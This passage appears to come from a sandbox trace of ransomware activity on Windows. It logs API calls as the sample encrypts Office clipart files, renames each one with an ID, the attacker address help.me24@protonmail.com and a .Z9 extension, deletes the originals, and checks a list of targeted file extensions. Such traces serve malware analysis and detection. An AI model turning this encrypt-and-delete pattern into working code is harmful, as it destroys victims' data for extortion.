	[0084.809] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8772) returned 1
	[0084.809] CloseHandle (hObject=0x324) returned 1
	[0084.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220
	[0084.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.809] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.809] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.810] GetLastError () returned 0x0
	[0084.810] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x2244, lpOverlapped=0x0) returned 1
	[0084.811] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x2250, lpOverlapped=0x0) returned 1
	[0084.812] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.812] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.812] SetEndOfFile (hFile=0x300) returned 1
	[0084.812] CloseHandle (hObject=0x300) returned 1
	[0084.813] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.813] SetEndOfFile (hFile=0x324) returned 1
	[0084.814] CloseHandle (hObject=0x324) returned 1
	[0084.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1
	[0084.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.815] lstrlenW (lpString=".doc") returned 4
	[0084.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.815] lstrlenW (lpString=".docx") returned 5
	[0084.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.815] lstrlenW (lpString=".pdf") returned 4
	[0084.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.815] lstrlenW (lpString=".xls") returned 4
	[0084.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.815] lstrlenW (lpString=".xlsx") returned 5
	[0084.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.815] lstrlenW (lpString=".ppt") returned 4
	[0084.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.815] lstrlenW (lpString=".zip") returned 4
	[0084.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.815] lstrlenW (lpString=".rar") returned 4
	[0084.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.815] lstrlenW (lpString=".bz2") returned 4
	[0084.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.815] lstrlenW (lpString=".7z") returned 3
	[0084.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.815] lstrlenW (lpString=".dbf") returned 4
	[0084.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.815] lstrlenW (lpString=".1cd") returned 4
	[0084.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.816] lstrlenW (lpString=".jpg") returned 4
	[0084.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.816] lstrlenW (lpString=".doc") returned 4
	[0084.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString=".docx") returned 5
	[0084.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.816] lstrlenW (lpString=".pdf") returned 4
	[0084.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString=".xls") returned 4
	[0084.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.816] lstrlenW (lpString=".xlsx") returned 5
	[0084.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.816] lstrlenW (lpString=".ppt") returned 4
	[0084.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.816] lstrlenW (lpString=".zip") returned 4
	[0084.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.816] lstrlenW (lpString=".rar") returned 4
	[0084.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString=".bz2") returned 4
	[0084.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString=".7z") returned 3
	[0084.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.816] lstrlenW (lpString=".dbf") returned 4
	[0084.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.816] lstrlenW (lpString=".1cd") returned 4
	[0084.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0084.816] lstrlenW (lpString=".jpg") returned 4
	[0084.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.817] lstrlenW (lpString="BD19986_.WMF") returned 12
	[0084.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.817] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=14486) returned 1
	[0084.817] CloseHandle (hObject=0x324) returned 1
	[0084.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220
	[0084.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.817] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.817] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.818] GetLastError () returned 0x0
	[0084.818] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3896, lpOverlapped=0x0) returned 1
	[0084.820] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x38a0, lpOverlapped=0x0) returned 1
	[0084.821] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.821] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.821] SetEndOfFile (hFile=0x300) returned 1
	[0084.821] CloseHandle (hObject=0x300) returned 1
	[0084.822] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.822] SetEndOfFile (hFile=0x324) returned 1
	[0084.823] CloseHandle (hObject=0x324) returned 1
	[0084.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1
	[0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.824] lstrlenW (lpString=".doc") returned 4
	[0084.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.824] lstrlenW (lpString=".docx") returned 5
	[0084.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.824] lstrlenW (lpString=".pdf") returned 4
	[0084.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.824] lstrlenW (lpString=".xls") returned 4
	[0084.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.824] lstrlenW (lpString=".xlsx") returned 5
	[0084.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.824] lstrlenW (lpString=".ppt") returned 4
	[0084.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.824] lstrlenW (lpString=".zip") returned 4
	[0084.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.824] lstrlenW (lpString=".rar") returned 4
	[0084.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.824] lstrlenW (lpString=".bz2") returned 4
	[0084.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.824] lstrlenW (lpString=".7z") returned 3
	[0084.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.824] lstrlenW (lpString=".dbf") returned 4
	[0084.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.824] lstrlenW (lpString=".1cd") returned 4
	[0084.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.825] lstrlenW (lpString=".jpg") returned 4
	[0084.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.825] lstrlenW (lpString=".doc") returned 4
	[0084.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.825] lstrlenW (lpString=".docx") returned 5
	[0084.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.825] lstrlenW (lpString=".pdf") returned 4
	[0084.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.825] lstrlenW (lpString=".xls") returned 4
	[0084.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.825] lstrlenW (lpString=".xlsx") returned 5
	[0084.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.825] lstrlenW (lpString=".ppt") returned 4
	[0084.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.825] lstrlenW (lpString=".zip") returned 4
	[0084.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.825] lstrlenW (lpString=".rar") returned 4
	[0084.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.825] lstrlenW (lpString=".bz2") returned 4
	[0084.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.825] lstrlenW (lpString=".7z") returned 3
	[0084.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.825] lstrlenW (lpString=".dbf") returned 4
	[0084.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.826] lstrlenW (lpString=".1cd") returned 4
	[0084.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0084.826] lstrlenW (lpString=".jpg") returned 4
	[0084.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.826] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.826] lstrlenW (lpString="BD19988_.WMF") returned 12
	[0084.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.826] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=18304) returned 1
	[0084.826] CloseHandle (hObject=0x324) returned 1
	[0084.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220
	[0084.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.827] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.827] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.827] GetLastError () returned 0x0
	[0084.827] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x4780, lpOverlapped=0x0) returned 1
	[0084.830] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x4790, lpOverlapped=0x0) returned 1
	[0084.831] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.831] WriteFile (in: hFile=0x300, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.831] SetEndOfFile (hFile=0x300) returned 1
	[0084.832] CloseHandle (hObject=0x300) returned 1
	[0084.833] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.833] SetEndOfFile (hFile=0x324) returned 1
	[0084.834] CloseHandle (hObject=0x324) returned 1
	[0084.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1
	[0085.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.216] lstrlenW (lpString=".doc") returned 4
	[0085.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.216] lstrlenW (lpString=".docx") returned 5
	[0085.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.216] lstrlenW (lpString=".pdf") returned 4
	[0085.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.216] lstrlenW (lpString=".xls") returned 4
	[0085.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.217] lstrlenW (lpString=".xlsx") returned 5
	[0085.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.217] lstrlenW (lpString=".ppt") returned 4
	[0085.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.217] lstrlenW (lpString=".zip") returned 4
	[0085.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.217] lstrlenW (lpString=".rar") returned 4
	[0085.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.237] lstrlenW (lpString=".bz2") returned 4
	[0085.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.238] lstrlenW (lpString=".7z") returned 3
	[0085.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.238] lstrlenW (lpString=".dbf") returned 4
	[0085.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.238] lstrlenW (lpString=".1cd") returned 4
	[0085.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.239] lstrlenW (lpString=".jpg") returned 4
	[0085.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.252] lstrlenW (lpString=".doc") returned 4
	[0085.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString=".docx") returned 5
	[0085.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.252] lstrlenW (lpString=".pdf") returned 4
	[0085.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString=".xls") returned 4
	[0085.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.255] lstrlenW (lpString=".xlsx") returned 5
	[0085.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.256] lstrlenW (lpString=".ppt") returned 4
	[0085.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.256] lstrlenW (lpString=".zip") returned 4
	[0085.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.256] lstrlenW (lpString=".rar") returned 4
	[0085.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.261] lstrlenW (lpString=".bz2") returned 4
	[0085.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.261] lstrlenW (lpString=".7z") returned 3
	[0085.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.261] lstrlenW (lpString=".dbf") returned 4
	[0085.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.262] lstrlenW (lpString=".1cd") returned 4
	[0085.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68
	[0085.262] lstrlenW (lpString=".jpg") returned 4
	[0085.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.263] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.263] lstrlenW (lpString="BL00152_.WMF") returned 12
